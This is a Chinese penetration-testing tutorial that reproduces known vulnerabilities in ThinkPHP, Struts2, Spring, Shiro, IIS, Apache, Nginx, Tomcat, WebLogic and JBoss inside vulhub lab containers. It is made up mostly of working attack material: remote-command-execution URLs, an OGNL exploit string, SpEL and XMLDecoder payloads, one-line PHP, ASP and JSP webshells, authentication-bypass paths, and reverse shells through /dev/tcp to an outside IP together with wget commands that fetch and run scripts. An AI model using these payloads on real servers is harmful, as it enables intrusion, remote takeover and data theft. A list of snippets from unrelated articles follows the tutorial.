常见的框架漏洞复现

1.Thinkphp

Thinkphp5x远程命令执行及getshell

搭建靶场

cd vulhub/thinkphp/5-rce
docker-compose up -d

首页

漏洞根本源于 thinkphp/library/think/Request.php 中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分原因,在利用上会出现⼀些问题。

远程命令执行
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

远程代码执行
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

远程getshell
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval(\$_POST[cmd])?>" >>1.php

在根目录会生成1.php;直接访问即可

漏洞挖掘
#fofa查询
body="V5.0.7" && title="System error"
body="ThinkPHP V5"
icon_hash="1165838194"
body="ThinkPHP V5" && country="US"

struts2

S2-057远程执行代码漏洞
#靶场搭建
cd vulhub/struts2/s2-057
docker-compose up -d

漏洞产生于网站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使⽤通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使⽤通配符namespace,从而导致远程代码执行漏洞的发生。

S2-057 先决条件:

alwaysSelectFullNamespace 正确 - 操作元素未设置名称空间属性,或使用了通配符用户将从 uri 传递命名空间,并将其解析为 OGNL 表达式,最终导致远程代码执型行漏洞。

访问地址

/struts2-showcase/

在url处输入后刷新可以看到中间数字位置相加了。

/struts2-showcase/${(123+123)}/actionChain1.action 

会发现他文件命也会变;所以我们每次都得改回来

将上面验证payload的值修改为我们的利用exp

$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D

漏洞挖掘
#fofa查询
app="Struts2"

Spring

Spring Data Rest 远程命令执行命令(CVE-2017-8046)
#靶场搭建
cd vulhub/spring/CVE-2017-8046
docker-compose up -d

来到首页去访问http://8.155.7.133:8080/customers/1

在此页面抓取数据包,使用PATCH请求来修改

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

其中 new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115} 表示的命令 touch /tmp/success 里面的数字是ascii码

然后进到docker容器里去看

docker exec -it bbf4d25afb18 /bin/bash

spring 代码执行 (CVE-2018-1273)

Spring Data 是⼀个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons 是 Spring Data 下所有子项目共享的基础框架。Spring Data Commons 在 2.0.5 及以前版本中,存在⼀处 SpEL 表达式注入漏洞,攻击者可以注入恶意 SpEL 表达式以执行任意命令。

#靶场搭建
cd vulhub/spring/CVE-2018-1273
docker-compose up -d

访问地址

/users

在此页面进行抓包注册

加上POC

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/h")]=&password=&repeatedPassword=

进入容器查看
docker exec -it ID /bin/bash

反弹shell

在3.sh写

bash -i >& /dev/tcp/8.155.7.133/6666 0>&1

监听6666端口

搭建对外服务

BP修改语句

wget -O /tmp/shell.sh http://8.155.7.133:8888/3.sh

执行

bash -i /tmp/1shell.sh

漏洞挖掘
#fofa查询
icon_hash="116323821" 
app="vmware-SpringBoot-framework"

Shiro

Shiro漏洞指纹
响应包中存在字段set-Cookie: rememberMe=deleteMe
Shiro rememberMe反序列化漏洞(Shiro-550)

Apache Shiro框架提供了记住密码的功能(RememberMe),⽤户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

#靶场搭建
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d

验证Shiro框架

使用BurpSuite进行抓包,在请求包中的cookie字段中添加rememberMe=123;,看响应包header中是否返回rememberMe=deleteMe值,若有,则证明该系统使用了Shiro框架

#构造语句
Cookie:rememberMe=123

利用工具

先爆破密钥;爆破利用链;执行命令

反弹shell
#开启对外服务
python3 -m http.server 8888
#监听端口
nc -lvvp 6666
#执行命令
wget -O /tmp/shell.sh http://IP/3.sh
/bin/bash /tmp/shell.sh

中间件

IIS

IIS6.x篇

PUT漏洞

IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,造成任意文件上传。

先来到首页

在当前页面抓取数据包

在看提交OPTIONS探测查看当前支持什么协议

用PUT上传文档,但不能直接上传方法脚本文档,可以先上传⼀个其他类型的文档,然后移动成脚本文档

PUT /1.txt HTTP/1.1
Host: 192.168.47.138
Content-Length: 23<%eval request("cmd")%>

使用move命令修改文件名

MOVE /1.txt HTTP/1.1
Host: 192.168.47.138
Destination: http://192.168.47.138/shell.asp

IIS6.0解析漏洞

在iis6.x中,.asp文件夹中的任意文件都会被当做asp文件去执行

在默认网站里创建一个a.asp文件夹并创建一个1.jpg写进我们的asp代码

#asp一句话
<%eval request("h")%>

单独创建一个1.jpg发现并不能解析

在a.asp下被解析

在IIS 6 处理文件解析时,分号可以起到截断的效果。也就是说 shell.asp;.jpg会被服务器看成是

shell.asp。另外IIS6.0默认的可执行文件除了asp还包含 asa\cer\cdx

IIS短文件漏洞

Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16位 Windows的程序访问这些文件。在cmd下输入" dir /x"即可看到短文件名的效果

#原理
当后缀⼩于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位。
当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名。

使⽤payload验证目标是否存在IIS短文件名漏洞,显示的404,说明目标存在该短文件名:

在根目录创建

访问

http://192.168.47.138/a*~1*/shell.aspx

404说明有这个文件

403说明没有

IS RCE-CVE-2017-7269

利用工具反弹shell

python2 '/root/桌面/iis6 reverse shell' 靶机IP 80 kali 8888

IIS 7x篇

HTTP.SYS远程代码执行(MS15-034) MS-->Microsoft 2015 -034

Apache

未知扩展名解析漏洞
cd /vulhub/httpd/apache_parsing_vulnerability
docker-compose up -d

无论我们的php在哪都会解析我们文件里的php代码

<?php @eval($_POST["c"])?>

访问一下我们上传的文件

AddHandler导致的解析漏洞

同上一样的

目录遍历漏洞

Apache HTTPD 换行解析漏洞(CVE-2017-15715)
cd vulhub/httpd/CVE-2017-15715
docker-compose up -d

上传我们的一句话;并使用BP抓取数据包

在我们的文件名后加一个空格

把我们的空格20换成0a

直接去访问我们的一句话

Nginx

文件解析漏洞
#靶场搭建
cd vulhub/nginx/nginx_parsing_vulnerability/
docker-compose up -d

上传我们的图片马

获取路径后

去访问我们的图片马并在后面加上/.php

蚁剑测试连接

目录遍历漏洞

CRLF注入漏洞

环境搭建

vluhub靶场 
cd vulhub/nginx/insecure-configuration
docker-compose up -d

首页就是这样

然后打开BP进行抓包

在头部构造我们的语句

%0aSet-cookie:jessioni=1

在响应处就可以看到我们构造的cookie

文件名逻辑漏洞(CVE-2013-4547)
vulhub靶场 
cd vulhub/nginx/CVE-2013-4547
docker-compose up -d

来到首页在当前页面上传1.jpg;并进行抓包

1.jpg内容

在文件末尾我们给他加一个空格

去访问/uploadfiles/1.jpg...php;并用BP抓包

把2e,2e,2e改为20,00,2e

tomcat

Tomcat 远程代码执行漏洞(CVE-2017-12615)
#靶场搭建
cd vulhub/tomcat/CVE-2017-12615
docker-compose up -d

来到首页;我们使用BP抓取当前页面数据包

PUT方式提交并写入木马

#绕过方式
PUT /shell.jsp%20
PUT /shell.jsp::$DATA
PUT /shell.jsp/

直接去访问我们的木马

tomcat弱口令&war远程部署

环境搭建

vulhub 靶场 
cd vulhub/tomcat/tomcat8
docker-compose up -d

来到首页

在我们之前生成的jsp木马(1.jsp)给他打包成zip;后缀改位war

我们去访问一下访问成功就去连接

tomcat 远程代码执行(CVE-2019-0232)

来到首页

访问地址

/cgi-bin/cmd.bat

输入

/cgi-bin/cmd.bat?&C%3A%5CWindows%5Csystem32%5Ccalc.exe

下载出来了;说明靶机那里会弹计算机

Apache Tomcat文件包含漏洞(CVE-2020-1938)

环境搭建

vulhub靶场 
cd vulhub/tomcat/CVE-2020-1938
docker-compose up -d
python cve-2020-1938.py -p 8009 -f /WEB-INF/web.xml 8.155.7.133

WebLogic

weblogic 弱口令getshell漏洞

环境搭建

vulhub 靶场 
cd vulhub/weblogic/weak_password
docker-compose up -d
IP/console/login/LoginForm.jsp

部署-->安装

选择上传文件;选择我们之前war包

可以看到我们的war包

然后去访问我们的木马;哥斯拉连接

XMLDecoder反序列化漏洞(CVE-2017-3506)

环境搭建

vulhub 靶场 
cd vulhub/weblogic/weak_password
docker-compose up -d
#访问以下⽬录中的⼀种,有回显如下图可以判断wls-wsat组件存在
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
/wls-wsat/CoordinatorPortType

在当前页面抓包之后,添加下面请求包,反弹shell。

先监听我们的6666端口

修改请求方式;构造POC

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i &gt;&amp; /dev/tcp/8.155.7.133/6666 0&gt;&amp;1</string></void></array><void method="start"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope>

反弹成功

wls-wsat反序列化漏洞(CVE-2019-2725)
vulhub 靶场 
cd vulhub/weblogic/weak_password
docker-compose up -d
/_async/AsyncResponseService

在当前页面抓包 , 修改请求包 , 写入shell

现在我们的home下创建1.txt;并写进jsp木马

python3 -m http.server 6666

修改请求方法;构造POC

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://8.155.7.133/1.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

木马位置

http://8.155.7.133:7001/bea_wls_internal/678.jsp

WebLogic T3协议反序列化命令执行漏洞(CVE-2018- 2628)
vulhub 靶场 
cd vulhub/weblogic/CVE-2018-2628
docker-compose up -d

利用工具检测

WebLogic CVE-2018-2894文件任意上传
vulhub 靶场 
cd vulhub/weblogic/CVE-2018-2894
docker-compose up -d

设置Web服务测试开启

/console/login/LoginForm.jsp

域结构 -> base-domain -> 高级 -> 启动Web服务测试页

然后保存;进入 config.do 文件进行设置,将目录设置为 ws_utc 应用的静态文件css目录,访问这个目录是无需权限的,这⼀点很重要

/ws_utc/config.do
#更改目录
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

上传我们的木马

这个是我们的时间戳

121.40.229.129:7001/ws_utc/css/config/keystore/1726815031601_shell.jsp

CVE-2020-14882 WebLogic远程代码执行漏洞
vulhub 靶场 
cd vulhub/weblogic/CVE-2020-14882
docker-compose up -d
#访问管理控制台
http://IP:7001/console/login/LoginForm.jsp
#使⽤以下url绕过登录认证
http://IP:7001/console/css/%252e%252e%252fconsole.portal

未授权访问绕过

http://IP:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabe=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")

可以看到执行成功了

JBoss

JMX Console未授权访问Getshell
vulhub 靶场 
cd vulhub/jboss/CVE-2017-7504
docker-compose up -d
访问地址:/jmx-console/
这里我们使用得复现环境不存在,所以需要密码(正常环境无需密码直接可进⼊)

找到这个点进去

在找这个

制作war包填写远程地址

python3 -m http.server 8888

连接成功

JBOSSMQ JMS CVE-2017-7504 集群反序列化漏洞 4.X
vulhub 靶场 
cd vulhub/jboss/CVE-2017-7504
docker-compose up -d
访问地址:/jbossmq-httpil/HTTPServerILServlet

python3 jexboss.py -u http://IP:8080

JBoss 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)
vulhub 靶场 
cd vulhub/jboss/CVE-2017-12149
docker-compose up -d

搭建好靶场后利用工具直接打

Jboss 5.x/6.x admin-Console后台部署war包Getshell
vulhub 靶场 
cd vulhub/jboss/CVE-2017-12149
docker-compose up -d
访问地址:/jmx-console/

搭建远程部署 , 部署远程war包地址

python3 -m http.server 80

JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞
vulhub 靶场 
cd vulhub/jboss/JMXInvokerServlet-deserialization/
docker-compose up -d

搭建好后访问

/invoker/EJBInvokerServlet
返回如下说明存在反序列化

将反弹shell进行base64编码

bash -i >& /dev/tcp/8.155.7.133/6666 0>&1
CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1NS43LjEzMy82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}">exp.ser
curl http://8.155.7.133:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

成功反弹

JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
vulhub 靶场 
cd vulhub/jboss/JMXInvokerServlet-deserialization/
docker-compose up -d

跟上一关是一样的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/66254.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

UE5中实现右键开镜效果

右键之后添加时间轴&#xff0c;然后设置视野即可。Set Field Of View 时间轴设置&#xff0c;第一个点设置0,90度&#xff0c;因为默认的就是90度 第二个点看武器的类型或者倍境来设置&#xff0c;时间就是开镜时间&#xff0c;值越小开镜速度越快&#xff0c;第二个值就是视野…

关于华硕Armoury Crate(奥创中心)安装程序失败、卡进度条问题解决方案

关于华硕Armoury Crate(奥创中心&#xff09;安装失败解决方案 清理旧版本文件 如果之前安装过Armoury Crate&#xff0c;可能有残留文件导致冲突&#xff1a; 利用官方的卸载工具&#xff0c;卸载旧版本&#xff1a; https://www.asus.com.cn/supportonly/armoury%20crate/…

iOS18 上的 Genmoji

在 WWDC 2025 期间&#xff0c;一种名为Genmoji的新型表情符号问世。 许多用户可能仍然不确定 Genmoji 是什么、它与传统表情符号有何不同、如何使用它以及如何恢复丢失的数据。因此&#xff0c;在本文中&#xff0c;我们将介绍您需要了解的有关 iOS 18 上的 Genmoji 的所有信…

基于等保的安全审计运维系统

摘要 本文研究与设计一种基于等级保护&#xff08;等保&#xff09;要求的安全审计运维系统&#xff0c;以适应日益严峻的网络安全形势和不断提高的安全审计需求。随着信息技术的快速发展和应用广泛&#xff0c;信息系统安全面临的威胁也在不断增加&#xff0c;特别是在关键信…

C# 设计模式(结构型模式):装饰器模式

C# 设计模式&#xff08;结构型模式&#xff09;&#xff1a;装饰器模式 在软件开发中&#xff0c;面对需要扩展功能但又不想修改已有代码的情况时&#xff0c;装饰模式&#xff08;Decorator Pattern&#xff09;是一个非常有用的设计模式。装饰模式允许我们在不改变对象自身…

【OAuth2系列】如何使用OAuth 2.0实现安全授权?详解四种授权方式

作者&#xff1a;后端小肥肠 &#x1f347; 我写过的文章中的相关代码放到了gitee&#xff0c;地址&#xff1a;xfc-fdw-cloud: 公共解决方案 &#x1f34a; 有疑问可私信或评论区联系我。 &#x1f951; 创作不易未经允许严禁转载。 姊妹篇&#xff1a; 【OAuth2系列】集成微…

@Transcational注解为什么没有生效?

最近开发时遇到了需要使用事务的场景&#xff0c;之前的开发场景&#xff0c;都没有使用过事务&#xff0c;因此记录一下使用实践&#xff0c;以及踩坑。回想之前的开发经历&#xff0c;发现有一些场景是需要使用事务的&#xff0c;只不过当时开发经验有限&#xff0c;没想到使…

传感器与检测技术基础知识

传感器检测系统 检测系统的组成:传感器、信号调理、数握采集、信号处理、信号显示、信号输出、输入设备、稳压电源。 检测系统的基本误差分类&#xff1a;绝对误差、相对误差、引用误差&#xff0c;最大引用误差。 测量系统的误差分类&#xff1a;系统误差、随机误差、粗大误…

决定系数(R²分数)——评估回归模型性能的一个指标

目录 1.定义 2.计算举例 3. 结果分析 1.定义 R&#xff08;R平方&#xff09;分数&#xff0c;也称为决定系数&#xff0c;是用来评估回归模型性能的一个指标。它表示自变量解释因变量变异性的比例。R分数的取值范围通常在0到1之间&#xff0c;其值越接近1&#xff0c;说明…

stm32HAL库使LED闪烁

PC13引脚为开漏接法 生成代码时设置为out put open drain gpio out put level 设置为high 1表示熄灭 我们将pa9引脚连接为推挽接法 生成代码时设置为 out put push pull Gpio out put level 设置为low 0 表示熄灭 代码使其亮起再延时0.5秒再熄灭再延时0.5秒

对一个双向链表,从尾部遍历找到第一个值为x的点,将node p插入这个点之前,如果找不到,则插在末尾。使用C语言实现

以下是一个用C语言实现的双向链表&#xff08;Doubly Linked List&#xff09;插入操作的代码。该代码从尾部遍历找到第一个值为x的节点&#xff0c;并在其前插入新节点p&#xff0c;或者在未找到时将其插入链表末尾。 #include <stdio.h> #include <stdlib.h>// 定…

Linux(Centos 7.6)基础命令/常用命令说明

1.目录相关命令 命令命令说明pwd用于显示/打印当前目录位置。ls/ll 列出当前目录下的文件或者目录&#xff0c;ll是ls -l的别名&#xff0c;ls仅显示名称&#xff0c;ll会显示详细的目录文件信息。 cd目录切换&#xff0c;常见用法有&#xff0c;cd /切换到根目录&#xff0c;…

矩阵运算提速——玩转opencv::Mat

介绍:用Eigen或opencv::Mat进行矩阵的运算&#xff0c;比用cpp的vector或vector进行矩阵运算要快吗? 使用 Eigen 或 OpenCV 的 cv::Mat 进行矩阵运算通常比使用 std::vector<int> 或 std::vector<double> 更快。这主要有以下几个原因&#xff1a; 优化的底层实现…

python文件操作相关(excel)

python文件操作相关&#xff08;excel&#xff09; 1. openpyxl 库openpyxl其他用法创建与删除操作单元格追加数据格式化单元格合并单元格插入图片公式打印设置保护工作表其他功能 2. pandas 库3. xlrd 和 xlwt 库4. xlsxwriter 库5. pyxlsb 库应用场景参考资料 在 Python 中&a…

C++ 基础概念: 未定义行为(Undefined Behavior)

文章目录 Intro如何正确认识 UB有多少未定义行为?对 UB 的误解 C 标准定义的几种行为1. 定义的行为 (defined behavior)2. 实现定义的行为 (implementation defined behavior)3. 未指定的行为 (unspecified behavior)4. 未定义行为 (undefined behavior)揭晓答案 C 中如何定义…

yolo小damo合集

效果如下&#xff1a;这个是图片检测 效果如下&#xff1a;这个是视频检测 效果如下&#xff1a;这个是摄像头检测 1 相关库 除了yolov11所用库之外&#xff0c;本文所用到的额外库为pyqt5&#xff0c;输入指令进行安装 pip install pyqt5 导入所需要的库 import sys fro…

【蓝桥杯研究生组】第14届Java试题答案整理

试题链接&#xff1a;链接 A题 满足条件的答案有&#xff1a;35813116 public class TianShu {public static void main(String[] args) {int ans 0;// 2000.1.1 - 2000000.1.1// 年份是月份的倍数&#xff0c;也是日的倍数for (int year2000; year<2000000; year) {for …

基于Java的超级玛丽游戏的设计与实现【源码+文档+部署讲解】

目 录 1、绪论 1.1背景以及现状 1.2 Java语言的特点 1.3 系统运行环境及开发软件&#xff1a; 1.4 可行性的分析 1.4.1 技术可行性 1.4.2 经济可行性 1.4.3 操作可行性 2、 需求分析 2.1 用户需求分析 2.2功能需求分析 2.3界面设计需求分析…

25考研王道数据机构课后习题-----顺序表链表部分

文章目录 1.顺序表题目2.链表相关题目3.我的个人总结 声明&#xff1a;以下内容来自于B站知名up主白话拆解数据结构&#xff0c;望获悉&#xff1b; 1.顺序表题目 下面的这个说的是&#xff1a;下面的哪一个是组成我们的顺序表的有限序列&#xff0c;这个应该是数据元素&#x…

LLM - 使用 LLaMA-Factory 部署大模型 HTTP 多模态服务 (4)

欢迎关注我的CSDN&#xff1a;https://spike.blog.csdn.net/ 本文地址&#xff1a;https://spike.blog.csdn.net/article/details/144881432 大模型的 HTTP 服务&#xff0c;通过网络接口&#xff0c;提供 AI 模型功能的服务&#xff0c;允许通过发送 HTTP 请求&#xff0c;交互…